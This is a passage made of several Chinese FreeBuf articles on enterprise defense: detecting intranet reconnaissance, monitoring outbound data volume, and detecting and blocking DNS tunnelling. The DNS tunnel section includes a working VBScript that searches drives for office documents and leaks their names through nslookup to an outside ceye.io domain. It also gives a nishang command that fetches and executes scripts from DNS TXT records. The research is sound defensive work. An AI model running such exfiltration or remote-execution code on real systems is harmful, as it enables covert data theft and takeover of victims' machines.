 安全演习不仅为了让领导重视安全,也可以用来提升员工的安全意识。演习召集全公司对有安全兴趣的个人,演习全员实时或后期展示,用突破过程震撼全员,同时公布突破方法,让更多人学习安全知识。

好了,说了这么多,也只是给各位大神提供一个思路罢了,具体安全教育方式多种多样,就像每个母亲都在教育自己的孩子,虽然方式不同,但最终目的都是为了子女成才。安全教育看似简单,实则需要我们从业人员再多想想,多尝试!欢迎私信探讨!

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:ChuanFile,本文属FreeBuf原创文章奖励计划,未经许可禁止转载

名词解释

内网:         仅包括内部员工使用的pc终端和仅提供内部服务的服务器系统

后渗透:      在拿下内网某终端的基础上对内网的进一步渗透攻击

概述

众所周知网络隔离策略、杀软、入侵检测阻止系统等都是防止终端设备感染恶意程序的重要措施,但没有任何人、任何组织可以说自己的防御是100%的(最近的各种热门入侵事件证明了这点),所以如果黑客控制的恶意程序已经突破了这些防御措施进入了内网终端,他接下来会做什么就成了我们必须思考的问题。

很自然我们就会想到:内网web这个重大突破点。

一台pc终端的信息是很有限的,黑客很难通过一台pc获取被入侵公司的核心数据,继续扩散终端这条路是有很大难度(权限验证、网络策略、漏洞修复等等都很难突破),那么渗透内网web这条路就成了下一个目标。内部服务的web站点(如流程管理、人事管理等),尤其是各种hr系统,这可是个人信息(包括名字、密码、住址、联系方式等)的宝库,拿到此数据是黑客认为最有“钱途”的任务。此外各种管理外部业务的内部站点(如对外业务的配置更新等)都会有大量的有价值信息,如支付凭据(信用卡、社保信息等)、游戏数据(账号、密码、级别、资产等)、虚拟资产数据(充值卡号、充值卡密码等)等数据都可以直接获利。

面对此威胁,我们必须制定有效的措施进行防御检测,那黑客到底要怎么做呢?

黑客需要的答案

1、内网有哪些web系统?这是入侵的第一步,如果有哪些系统都不知道,那还个入侵个P

2、每个web系统都是干什么的?筛选重要系统,找寻有用信息,如一个内部食堂菜单展示系统,肯定是没啥直接有用的信息的(当然可以截图炫耀,说我xx了某个公司。。。)

3、我的权限可以登录哪些重要系统?

虽然知道了内网有哪些重要系统,也知道都是干什么的了,那有没有权限登陆就是摆在面前的问题了,如工资管理系统你作为一个小弟肯定是登陆不了的。我们能登陆哪些就是我能获取的信息!黑客并不能获取全部的探测数据(说明内网权限控制的重要性)

4、 哪些web系统的漏洞可以利用获取服务器权限?

如果我没有权限去获取数据,但是还觉得这个系统很重要,那么各种漏洞的利用就要发挥作用,如弱密码、验证绕过、sql注入等,当然可能存在非web的其他漏洞,我们本次仅聚焦web类,所以这里不做探讨了。

获取答案相关手法分析

1、观看屏幕并记录

a)     此操作需要一定连贯性,如每1秒1张截屏,否则无法获取有用信息;

b)     需要较多耐心,监控时间较长才可以获取足够数据;

c)     外传数据量较大;

d)     可回答黑客疑问1,2,3

结论:单次操作为用户正常操作,防御难度大,但批量操作存在规律,可检测

2、键盘记录分析

a)     此操作持续时间较长,需要较多耐心,监控时间较长才可以获取足够数据(包括网址、密码等);

b)     外传数据量较小,只传输键盘记录数据;

c)     可回答黑客疑问1,3;

结论:很多正常软件存在此操作,防御难度大,检测难度大

3、浏览记录分析

a)     此方案可获取明文的浏览器的历史记录,部分加密的浏览器历史记录无法获取;

b)     进一步获取信息需重放浏览历史记录,通过获取回包获取有用信息;

c)     需要窃取cooke、token等,否则无法对认证状态的系统进行重放;

d)     可回答黑客疑问1,2,3;

结论:重放操作模拟用户主动行为,难于防护,且无规律,难于检测,但触碰聊天记录文件行为可监控

4、 扫描分析

a)     有点常识的黑客就知道oa.com是内网域名的二级域名,继续域名爆破就可以轻松获取内网域名;

b)     进一步获取信息需重放扫描结果,通过获取回包获取有用信息;

c)     需要窃取cooke、token等,否则无法对认证状态的系统进行重放;

d)     如需获取首页以外的内容,需爬虫(页面序号规律、超链接探测等);

e)     可回答黑客疑问1,2,3;

结论:获取内网域名行为存在规律,如域名清单,不存在域名会返回失败等,易于检测;爬虫较容易检测。

5、漏洞探测

a)     弱密码、管理后台、sql注入等是拿下web系统最简便的方式,csrf、xss等对于从内网终端对内网web系统进行渗透可行性不高

b)     本方案不讨论非web方式的探测

c)     可回答黑客疑问4

结论:规律特征业内通用,易于防御,易于检测

综上,我们已经基本了解黑客探测入侵内网web系统行为的细节了,我们再结合黑客心理,逐步深入分析。首先,如果是新手黑客,他进入内网是非常激动的,根本不考虑什么方式和隐藏,甚至会直接远程桌面把登陆用户挤下去,然后浏览器直接翻查(利用浏览历史),如果用shell他的操作也就是扫描,快速暴力获取信息;其次如果是个有经验的黑客,有一定的反侦察能力,为了防止被发现,他是不会做远程桌面和扫描这种大动作了,他会尽量模拟用户的正常行为,如正常的网站浏览行为等;

最后,如果是apt的黑客,他们的目的是最大程度的隐藏,存活越久才可以发现更多,他们多采取屏幕观看、键盘记录等方式,不多主动行为(即使模拟用户行为也不做),当然外传数据采用闲时传送、压缩、加密等手段是必不可少的。不过新手、经验黑客、apt黑客的角色也不是绝对的,当达到最终收割阶段的时候,各种方式都会被采取,最大化窃取数据才是最终目的。

那我们怎么防御和检测他们呢?

这是个复杂的问题,我拆分成对于

阶段1:内网有哪些web系统;

阶段2:每个web系统都是干什么的;

阶段3:我的权限可以登录哪些重要系统;

阶段4:哪些web系统的漏洞可以利用获取服务器权限,等四部分讨论

今天我们只讨论阶段1:内网有哪些web系统。

从我们分析黑客行为的结果看,要实现阶段1:内网有哪些web系统,我们可以做的操作有域名爆破(遍历、名单等)、浏览记录获取、屏幕截图查看、键盘记录等四种方式,总结如下

域名爆破(遍历、名单等)

防御:扫描行为可模拟useragent等数据,很难判定是否用户主动行为,根据频率做拦截会影响用户体验,建议不采取防御措施;

检测:黑客仅可凭猜测获取二级域名oa.com或根据外网获取外部域名如baidu.com,则根据扫描特征和黑客思路,建议规则为:

单终端+单位时间+触碰名单或数量达到阈值,如notebook001在5分钟内访问*.oa.baidu.com 100次,或notebook001在5分钟内访问敏感域名清单(*.oa.baidu.com)50% ;

浏览记录获取:

防御:建议自行开发模块,仅允许浏览器读取浏览记录文件

检测:通过监控非浏览器读取浏览记录文件行为发现恶意行为

屏幕截图查看

防御:截图属于正常用户行为,建议不采取防御措施;

检测:截图查看是有时间间隔规律的行为,通过监控规律性截图行为,如每5秒截图一次,可发现此恶意行为

键盘记录

防御:键盘记录需要做hook,这个太多程序使用hook技术了,不建议做防御操作

检测:检查hook操作,排除正常即可

实验:域名爆破(遍历、名单等)

1、使用工具做爆破行为

             001.png

002.png

2、抓包分析:

      003.png

结论:频率规则可覆盖(注意:不是web访问,而是dns请求),判定oa.baidu.com的次数

实验:浏览记录获取

1、使用monitor模拟监控行为,如下

chrome浏览器浏览历史记录文件触碰行为,定位存放历史记录的个人目录

     004.png 

定位历史记录文件

 005.png

监控历史记录文件触碰行为

 006.png

360浏览器浏览器历史记录文件触碰行为

定位历史记录文件位置

007.png 

监控历史记录文件触碰行为

            008.png 

QQ浏览器浏览器历史记录文件触碰行为

定位历史记录文件位置

 009.png

监控历史记录文件触碰行为

 010.png

结论:通过监控可判定哪些非浏览器程序触碰了浏览器历史记录文件,当然除了以上演示的方法,判定哪些非浏览器程序打开了浏览器历史记录文件对应的文件handle也是个不错的方案。

实验:屏幕截图查看

1、       使用api monitor模拟监控截图行为,如下

配置截图相关api,如GetDc,GetDcEx,GetDeviceCaps等,并使用RemoteThread(Standard)方式方式启动firefox

011.png             

使用firefox截图

 012.png

记录到相关的api调用

 013.png

结论:可通过api监控获取截图行为,当然实际应用需要开发自己的api监控模块,也会存在误报,这需要逐步的运营调整优化。

实验:键盘记录

1、使用工具监控键盘hook操作,演示如下

 014.png

结论:可通过监控键盘记录各种实现方式判定是否存在键盘记录行为。

综上,我们已经能够对抗黑客后渗透中内网web渗透的第一步:内网有哪些web系统,后续我们再继续探讨其他阶段。

*本文作者:ChuanFile,本文属FreeBuf原创文章奖励计划,未经许可禁止转载

*本文作者:ChuanFile;本文属 FreeBuf 原创奖励文章,未经许可禁止转载。

概述:

笔者因为孩子生病n次去医院输液,终于在最后一次打吊针的时候被人偷走了手机(医院果然是作案高发区),于是有了我补办手机卡的经历。一张电信手机卡在电信营业厅提供了身份证+照相人脸识别后顺利补办成功,另一张移动手机卡却遭遇了困境,移动要求身份证+服务密码+3个月内的任意5次拨出记录,但我的移动手机是备机+对外注册机(接收各种骚扰),3个月内也就拨出过极少的一两个电话,在丢失手机的情况下我根本不可能记得拨出的号码,而且如果想查通话记录必须手机的随机短信密码才可以,身份证+服务密码+本人也不行,这样我就陷入了死循环! 移动给的方案是:停机保号3个月,然后再补卡就不验证通话记录了,我就。。。。。,作为一名中国公民,我竟然没法证明我是我了!!!

此问题当前已解决,但作为搞安全的同学不得不多思考下这个经典的安全问题,移动为什么设置这个策略,他们是用什么逻辑证明这个关于我的问题:1、你是你 2、设备是你的3、你在用你的设备。

我们详细分析下这个问题:

商家的目的和解决方案

1、你要证明你是你:带着身份证来我就认为你是你,当然还要抬头看看你是不是你,高科技的方式就是加上人脸识别;

2、你要证明设备是你的:对于商家,sim卡就是他的设备,那提供服务密码就可以证明设备是你的了(电信是默认身份证后六位,存在安全隐患);

3、你要证明你在用你自己的设备:提供你最近3个月打过哪些电话,也就证明sim卡这个设备是你自己用的(这个电信没有这个步骤,估计是因为电信起步晚,起步的时候已经开始实名制),其实移动设置这个的目的是历史遗漏问题,以前没实名制的时候,很多卖卡的用自己的身份证注册并设置服务密码,然后卖给其他人,那其实他并没有在使用sim卡。如果仅仅验证1、2,则存在卖卡人代替使用人补卡的问题。但其实这里有个bug,证明你在用你的设备,只需要10086拨打使用者电话,然后回访姓名身份证对照注册信息即可(这个10086已经对笔者做过此操作,但10086没有用这个验证逻辑)。此外验证来电也是个很好的操作(为防止恶意拨打,建议仅验证补办一周前通话时长较长且频繁的来电,这样使用者有时间补办,也防止了冒用者),也可以解决我这种只用来当备机+对外注册机使用的用户了。

扩展下这个安全届的通用问题

1、身份认证,确定用户身份,一般来说pc都是采取系统登陆认证、web服务登陆认证等,账户密码就是用户的身份证

2、设备认证,确定设备所属,一般采集设备的id,这个id是通过购买和发放和用户关联起来的,你知道这个id就证明设备的合法性,设备是你的。这个id就相当于用户的服务密码了

3、行为认证,确定用户在用自己的身份在使用自己的设备,这就需要提取用户行为,如网络行为、文件操作行为、软件启动行为等,用户确认行为是否为自己所为,这也就是类似确认通话记录的过程了。但这里仅能类比不能等同,因为pc设备的行为过多,完全确认无法做到,而且总是让用户确认行为会造成用户抵触,无法取得安全和服务的平衡点,最终安全措施无法落地。黑客就是利用这个漏洞,潜伏在pc设备,实时破坏活动或信息窃取。那我们怎么才能解决这个问题发现黑客呢?

分析总结

带着这个疑问,首先我们分析下黑客的目的,我们聚焦下专业黑客,他们的目的是为了窃取数据,根据这些年互联网公布的入侵看,被窃取的数据主要包括:用户信息(包括名字、密码、住址、联系方式等),用于倒卖或登录获取更多有用数据;支付凭据(信用卡、社保信息等),用于直接获利;游戏数据(账号、密码、级别、资产等),用于直接获利;虚拟资产数据(充值卡号、充值卡密码等),用于直接获取。其次我们再分析下窃取渠道,从内网安全的角度窃取的通道是:内网服务器->pc终端->外网黑客接收端;pc终端->外网黑客接收端两种形式,当然如果合并看,仅仅认为只存在pc终端->外网黑客接收端一种形式也是合理的。最后,我们分析下被窃取的信息本身,信息的重要性不是由大小决定,而是由重要级别决定的,敏感数据1M > 低敏感度数据1G的道理每个人都懂,但大多数企业无法做到数据敏感度分级这也是不争的事实,那一般留给安全人员的就只有把控泄露数据大小这个点了,但多少泄露数据多?多少是少?这个唯一的决定权就是决策者(如领导)了,不过这里数据分析人员可提供下基本的数据给决策者,如平均外传大小等

此外,黑客入侵还有侦查、投递、漏洞利用、感染植入、控制C2、扩散等阶段,但我们只讨论最后的收割阶段,因为如果一木马病毒不外传数据,在没有人力的情况下,“养着”也未尝不可。

分析到这里,我们已经可以聚焦了,我们需要确认的是从pc传出去过量数据的行为是用户主动的还是非主动的?

实现思路:

1、记录进程实时流量大小,并做归并统计,主要统计上传数据量,用于计算是否超过阈值;

2、分析外传流量,获取外传目的和外传时间区间,用于和用户确认;

3、设置阈值(可结合进程黑白灰检测进一步缩小范围)

a)     同一终端单个进程>1G,对抗黑客利用单一进程外传的场景,此为最常见的场景;

b)     同一终端同一目的>1G,对抗黑客利用多个进程同时外传的场景,目的是加快外传速度或多进程躲避检测等;

c)     多个终端同一目的>1G,对抗黑客入侵多台终端外传的场景,多台机器被控制同时外传,从几率分析此场景较少;

d)     多个终端单一进程>1G,对抗黑客入侵多台终端外传的场景,多为正常程序操作,仅作为参考,相关机器可作为重点关注对象;

4、根据黑客利用几率设置预警级别:高级、中级、低级、待观察

5、最终用户确认,如非本人行为则触发事件

a)     高级风险5分钟确认

b)     中级风险4小时确认

c)     低级风险24小时确认

实现验证:

1、 通过网络数据分析或软件记录流量并分析

A方法:网络数据分析

1)  开启主机防火墙日志,可获取时间+进程名+源ip+源端口+目的ip+目的端口

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

2)  通过网络记录设备,如snort等,记录session,可获取获取时间+源ip+源端口+目的ip+目的端口+session大小,我们这里用wirshark演示

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

3)   利用主机日志+网络日志,最终确定每个进程的外传流量(源为本机则为外传, 不区分是否主动外传,包括正反向木马)大小

例如:

2017/10/18 12:00:01  liveupdate360.exe 192.168.187.143 54267112.65.68.41  80  2048MB

B方案:独立开发软件记录

火绒剑演示:

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

全代理演示:

 补卡的糟糕经历引发的思考:一点黑客技术让我们不再泄露那么多数据

2、归并计算分析是否达到阈值

a)     同一终端单个进程>1G:yes

b)     同一终端同一目的>1G:no

c)     多个终端同一目的>1G:no

d)     多个终端单一进程>1G:no

3、判定报警级别,并相应确认

a)     高风险,5分钟相应并确认,非本人操作则为事件

综上,实验证明方案可行,通过此方案可监控终端进程的外传情况,解决大量泄露问题,避免被窃取大量数据而不自知的场景(最近确实发生了太多了泄露事件),也可及时阻断泄露过程,有效控制损失量。当主机被入侵窃取大量数据时,我们可通过监控看到某未知进程(或已知进程被注入未知模块)在一段时间外传了过量数据,我们可及时发现并预警阻断;当员工主动泄露敏感数据时,我们可监控到某已知进程(如百度云盘、微盘等)在一段时间外传了过量数据,及时发现并要求其确认,达到震慑和确认目的。

*本文作者:ChuanFile;本文属 FreeBuf 原创奖励文章,未经许可禁止转载。

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

随着dns隧道应用的越来越广泛,尤其是xshell事件被公布以后,各大公司纷纷启动对dns隧道的监控,参考xshell的逻辑,大多数公司采取了“监控多个终端请求异常长度域名”的检测方案,其中注重检出率的公司为了提高检出率(当然会提高误报率)进一步降低了多终端的数量,采取了“单个终端请求了异常长度的域名”的方案来发现所有疑似dns隧道木马。

笔者前阵子突然发现几台机器频繁解析诡的域名,如下:

DNS隧道检测平民解决方案

经过紧张的排查定位确认为浏览器的某插件导致,相关全域名存在注册记录,非dns隧道木马,为误报。大家都松了口气,但是也引起了反思,怎么才能更精准的发现真正的dns隧道木马?

大数据分析?够高大上!但落地成本高,复杂度也高,对于一般公司来说很难实施,为此笔者从dns隧道的原理和黑客的思路入手分析,提出一些简单的检测方案,仅供参考!

正文:

原理分析:

众所周知,dns隧道木马外传数据是利用1、过长的不存在的域名(其中随机数即为外传数据)2、txt回包作为回传数据(更新配置、模块等),详细分析这种利用开放53端口(可广义理解为漏洞)的传输方式的技术:

1、通用外传方式分析

a)    方式1:利用本机dns配置,发送域名请求,通过递归到达黑客控制的dns服务器(坏人需拥有或拿下dns服务                        器)

b)     方式2:更改本机dns配置,配置为8.8.8.8等公共dns,然后通过递归外传到达黑客控制的dns服务器

c)     方式3:直接构造dns包体,发送到8.8.8.8等公共dns,然后利用递归外传到达黑客控制的dns服务器

d)     方式4:直接构造dns包体,发送到本机dns服务器,然后利用递归外传到达黑客控制的dns服务器

e)     方式5:直接构造dns包体,发送到自己控制的dns服务器,直接获取数据

2、安全取证分析

a)     方式1:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe进行了dns请求,但一旦发现异常可通过配置dns黑名单止损

b)     方式2:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅可获取dns配置被更改的日志,但无法获取谁更改的,仅能看到系统svchost.exe进行了dns请求,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损

c)     方式3:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),同样,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损

d)     方式4:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),但一旦发现异常可通过配置dns黑名单止损

e)     方式5:此方式可获取哪个进程发起了dns请求,但直接暴露黑客dns位置,可通过直接屏蔽恶意dns目的止损

3、恶意进程和黑dns服务器交互分析

a)     恶意进程仅用超长域名记录外传数据,不利用txt回包获取回传数据,不利用A记录回包作为C&C地址,纯窃取敏感信息的木马就是利用此方式,这行情况下:

i.          dns服务器无需提供解析服务,即dns服务器可以无回包

ii.          dns服务器如提供解析服务返回解析的ip地址,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

b)     恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,不利用A记录回包作为C&C地址,xshell就是利用此方式,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包

ii.          dns服务器需提供解析服务,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

c)     恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,并利用A记录回包作为C&C地址,此方式不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包

ii.          本机程序对解析出的A记录发起访问(有socket通信)

d)     恶意进程用超长域名记录外传数据,不利用txt回包获取回传数据,但利用A记录回包作为C&C地址,但此方式多为正常程序使用,不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有回包,但是A记录类型

ii.          本机进程对此A记录进行访问关注,即本机进程对解析结果地址发包

结论:

完成外传方式分析、取证分析、恶意进程和黑dns服务器交互分析等三部分的分析后,我们已完全掌握黑客的伎俩,接下来我们再深入分析下,首先,我们结合下黑客的心理,黑客利用dns隧道的目的是绕过防御(如禁止外联)、躲避流量检测(如snort特征码检测)、躲避ioc检测(如外联恶意ip、恶意域名)等,那黑客必然不会对dns相关(如解析出的ip)的ip进行额外的通信,如http、socket等,既是存在非dns通信也是通过txt回包获取c&c罢了,这样才可以充分利用dns的隐蔽性。其次我们从黑客入侵的目的出发,入侵的最终目的无非是为了窃取数据外传,窃取单个账号密码只是中间过程,最终还是为了窃取大量数据,那利用dns怎么外传大量数据呢,超长域名*频率就是外传的数据量,仅超长域名不排除在外传账号密码等少量新的可能性,但高频率就一定在大量外传了。第三从域名注册角度分析,dns必然涉及到域名问题,假设正在请求的超长域名已存在注册记录,那必然不是dns隧道方式,因注册记录是固定的,能承载的信息也就是固定的,一定不可能是外传的数据。

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下: 

方向1:特征检测:

检测窃密木马(无需更新和接收指令):     【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令):         【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】 

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】}  or  {【终端无进程对返回的A记录(如有)发起访问】  and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测:    域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测:     A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个)  + B +…  >   多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     外传域名超长

b)     频率较高

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a)     编写一个最简单的一句话脚本,获取服务列表

DNS隧道检测平民解决方案

b)     使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

DNS隧道检测平民解决方案

c)     在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

DNS隧道检测平民解决方案

DNS隧道检测平民解决方案

验证结果,ok

DNS隧道检测平民解决方案

d)     使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

DNS隧道检测平民解决方案

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名

b)     因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a)     单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

外传实验验证

b)    多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 ( 代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改)

'On ErrorResume Next

Set fso =CreateObject("Scripting.FileSystemObject")

toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")

'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"

ConstDRIVE_LETTERS="o"

''''''''''''开始搜索

CallScanDrives()                      

''''''''''''''''''''

SubScanDrives()

    Dim drives

    drives=Split(DRIVE_LETTERS,":")

    For Each drv In drives

        If fso.DriveExists(drv) Then

            Set drive=fso.GetDrive(drv)

            If drive.isReady Then

                CallScanFiles(drive.RootFolder)

            End If

        End If

    Next

End Sub

''''''''''''

SubScanFiles(folder)

    For Each this_file In folder.Files

        On Error Resume Next

        Call FindKeyFile(this_file)

        WScript.Sleep 1

    Next

    For Each this_folder In folder.SubFolders

        On Error Resume Next

        Call ScanFiles(this_folder)

        WScript.Sleep 1

    Next   

End Sub

'''''''''''查找特定文件

SubFindKeyFile(file)

   On Error Resume Next

   For Each tool_name In toolsName

        'WScript.Echo

        ''''将文件名都转为大写匹配

        IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then

            DnsStr= file.name &".xxxxxxx.ceye.io"

        ''''进行静默nslookup上传   

                     setobjShell=wscript.createObject("wscript.shell")

                     objShell.exec("%comspec% /c nslookup " & DnsStr)

            End If

    Next

End Sub

2、外传结果展示:

a)     单次少量信息窃取外传

DNS隧道检测平民解决方案

b)     多次大量信息窃取

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

DNS隧道检测平民解决方案

b)     对解析A记录结果无后续访问

DNS隧道检测平民解决方案

c)     不存在全域名注册记录

结论:窃取数据木马

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

基础词汇解释:

DnsA记录传输:

利用dns解析过程,在请求解析的域名中包含需外传的数据,如xxxxxx.hack.com。则最终hack.com的dns服务器会收到xxxxx这个数据回传。

dns的txt类型回包:

一般指为某个主机名或域名设置的说明,可被黑客利用回传数据。终端请求某恶意域名的dns解析,dns返回txt记录,包含黑客需要的回传内容,如模块更新数据、指令等

概述:

随着越来越多的公司安全意识提高,大量公司已封锁socket通信,仅允许员工通过http/https协议外网,同时采取了越来越多针对http协议的检测措施(如数据分析恶意url等)。为逃避检测,Dns传输已逐步成为越来越多的恶意软件隐蔽传输的方法,dns传输利用dns逐级解析过程最终把域名中的恶意内容传输到远端控制器,也利用dns的txt类型回包更新本地木马病毒。

为解决此问题,笔者提出基于全web代理的dns恶意传输屏蔽方案,通过禁止终端做dns解析,仅允许代理做dns,完全屏蔽pc的恶意dns传输的同时,保障终端可以通过web代理访问公网(备:这也是各大公司当前采取的上外网的方式通用方案),有效解决dns恶意传输问题。适用于各大公司彻底解决dns木马病毒传输通道问题。

基本思想与原理

具体原理如下所述:

1、固定pc的dns服务器配置,并禁止修改,防止木马病毒修改绕过安全策略,或用户修改配置无意降低安全标准

2、屏蔽pc外联的53端口访问,防止恶意程序在代码中使用自定义dns服务器

3、收紧pc终端的dns解析,dns服务器仅响应允许的白名单域名解析,其他不返回结果

4、pc通信全web代理,允许web代理自身做dns解析

最终实现完全屏蔽pc的恶意dns传输的同时,保障终端可以通过web代理访问公网,解决dns恶意传输问题。

系统架构

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

模块功能描述:

内网终端:内网用户使用的访问公网的终端,可包括pc、手机、平板等

Web代理: 提供web协议的代理,终端可通过此代理访问外网数据

Web服务:外网的web服务

内网终端专用dns服务器:给内网终端提供dns服务,仅限白名单域名的解析

白名单:允许被解析的域名,如baidu.com等

代理专用dns服务器:给web代理提供dns服务器,不提供黑名单解析,降低恶意web业务访问

黑名单:提供恶意域名清单,禁止代理专用dns解析,进而禁止代理访问恶意url

公网dns服务:外网dns服务器,包括各个递归服务器

其他dns服务器:内网终端专用服务器外的其他dns服务器,包括公网dns服务器、代理专用dns服务器等

实验环境演示:

1、 实验环境介绍

a) 一台内网终端,win7x64系统

i. ip:192.168.187.139

ii. 网关:192.168.187.2

iii. dns:192.168.187.141(内网终端专用dns)

b) 一台dns服务器(内网终端专用dns),server 2008

i. ip:192.168.187.141

ii. 网关:192.168.187.2

iii. dns:192.168.187.2

c) 一台squid代理服务器,ubuntu系统

i. ip:192.168.187.136

ii. 网关:192.168.187.2

iii. dns:192.168.187.2(代理专用dns)

d) 防火墙

禁止内网终端非授权访问,仅允许网关、内网终端专用dns、代理访问,或白名单程序的socket连接(不支持web代理,联通需要内网终端专用dns白名单配合)

2、 配置过程:

a) 终端配置

i. 锁定dns配置,防止用户或木马病毒修改:

Xp系统可使用这个

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

Win7可使用此工具

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

ii. 配置代理,访问外网:

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

b) Dns服务器配置

i. 使用条件转发不允许解析白名单以为域名

l 清空根提示(防止无法控制的递归)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

l 确认,不可禁止递归(否则无法实现条件转发)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

l 如果允许解析,则配置到代理专用dns,可实现递归解析

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

c) Squid配置

i. 配置黑名单,例如:淘宝、京东,防止员工上班购物,当然从安全角度可配置各种黑域名

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

ii. 配置代理专用dns(192.168.187.2),可解析任意域名

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

d) 防火墙配置

(允许访问内网专用dns:192.168.187.141,允许访问网关192.168.187.2,允许访问代理192.168.187.141,其他均不允许),防止用户使用其他dns或socket

15054537815664.jpg!small

3、 效果展示:

a) 终端无法进行dns请求(除了白名单域名)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

b) xshell外联失效(前后对比)

未实施策略前,可外传成功(有返回包)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

实施策略后,无法外传(网络防火墙拦截,无回包)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

c) 终端不配置代理,无法访问web服务器

(终端无法进行dns解析,且无法直接访问外网)

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

d) 终端配置代理可正常上网

但无法访问黑名单网站,保障日常互联网需要,并防止访问恶意域名

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

原理细节详描

1、 终端使用web代理访问公网web服务,如下图

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

a) 终端不解析域名,将web请求直接抛给web代理

i. 浏览器可通过pac脚本等方式劫持终端到公网的流量经web代理中转

ii. 其他软件可通过配置web代理地址等方式

b) Web代理向代理专用dns服务器请求域名解析并获取结果,如下图

让木马病毒DNS数据传输成为历史----看我怎么让xshell病毒失效

i. Web代理服务器向代理专用dns服务器请求域名

